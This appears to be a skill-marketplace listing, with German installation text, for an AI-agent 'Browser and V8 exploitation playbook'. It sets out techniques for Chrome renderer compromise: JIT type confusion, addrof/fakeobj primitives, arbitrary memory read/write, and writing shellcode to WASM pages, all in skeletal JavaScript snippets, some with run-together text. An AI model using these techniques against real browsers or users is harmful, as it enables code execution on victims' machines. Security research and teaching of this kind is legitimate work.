Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.
Prototype change after optimization → wrong property access
Turbofan Reduction Bug
Incorrect strength reduction or constant folding
Integer overflow in range analysis
Race Condition
SharedArrayBuffer + worker thread race
Type confusion via concurrent modification
Off-by-one in Builtin
Boundary error in built-in function implementation
String/Array bounds
Typer Bug
Incorrect type range computation in TurboFan
Typer says value is in [0, N] but can be N+1
Triggering JIT Optimization
functionvuln(arr) {
// ... vulnerable code path ...
}
// Force optimization by calling many timesfor (let i = 0; i < 100000; i++) {
vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);
3. EXPLOITATION PRIMITIVES
addrof — Leak Object Address
// Goal: get the raw heap address of a JavaScript object// Method: type confusion between object array and float array// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:// - Write object reference to element of object array// - Read same element as double from confused float array// - Float bits = compressed pointer of the objectfunctionaddrof(obj) {
// Setup depends on specific bug// Typically: trigger type confusion so array reads obj ref as float
object_array[0] = obj;
returnftoi(confused_float_array[0]); // float-to-int conversion
}
fakeobj — Create Fake Object Reference
// Goal: create a JS reference to an arbitrary heap address// Method: reverse of addrof — write float (raw pointer bits) to float array,// read from confused object array → treated as object referencefunctionfakeobj(addr) {
confused_float_array[0] = itof(addr); // int-to-float conversionreturn object_array[0]; // now a "pointer" to addr
}
Building Arbitrary R/W from addrof + fakeobj
// 1. Create a Float64Array with known layoutlet rw_array = newFloat64Array(0x100);
let rw_array_addr = addrof(rw_array);
// 2. Fake a Float64Array object at controlled address with modified backing_store// 3. Corrupt backing_store pointer to target address// 4. Read/write through the fake Float64Array → arbitrary R/Wfunctionread64(addr) {
// Set fake array's backing_store = addrwrite_to_fake_backingstore(addr);
return fake_float64array[0];
}
functionwrite64(addr, value) {
write_to_fake_backingstore(addr);
fake_float64array[0] = value;
}
4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS
When TurboFan incorrectly eliminates bounds checks:
functiontrigger(arr, idx) {
// TurboFan thinks idx is always < arr.length// But due to bug, idx can exceed boundsreturn arr[idx]; // OOB read
}
// OOB read adjacent memory (next heap object's metadata)// OOB write to corrupt next object's map/elements/length
What's Adjacent in V8 Heap?
Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:
let arr1 = newArray(0x10); // spray objectlet arr2 = newFloat64Array(0x10); // target: adjacent to arr1// OOB from arr1 can reach arr2's metadata// Corrupt arr2's length → unconstrained OOB on arr2
5. ARRAYBUFFER ARBITRARY R/W
ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.
let ab = newArrayBuffer(0x100);
let view = newDataView(ab);
// If we can overwrite ab's backing_store pointer:// ab.backing_store = target_addr// view.getFloat64(0) → reads 8 bytes from target_addr// view.setFloat64(0, val) → writes to target_addr
V8 Sandbox (Pointer Compression) Impact
Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):
ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
Cannot directly point outside the V8 cage
Need sandbox escape to get full process memory access
6. WASM RWX PAGE
WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.
// Allocate WASM module → JIT compiles to RWX pagelet wasm_code = newUint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = newWebAssembly.Module(wasm_code);
let instance = newWebAssembly.Instance(mod);
// instance.exports.func → points to RWX page// If we can find and write to this page:// 1. addrof(instance) → find WASM instance object// 2. Follow pointers: instance → jump_table_start → RWX page// 3. Use arbitrary write to overwrite RWX page with shellcode// 4. Call instance.exports.func() → executes shellcode
Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.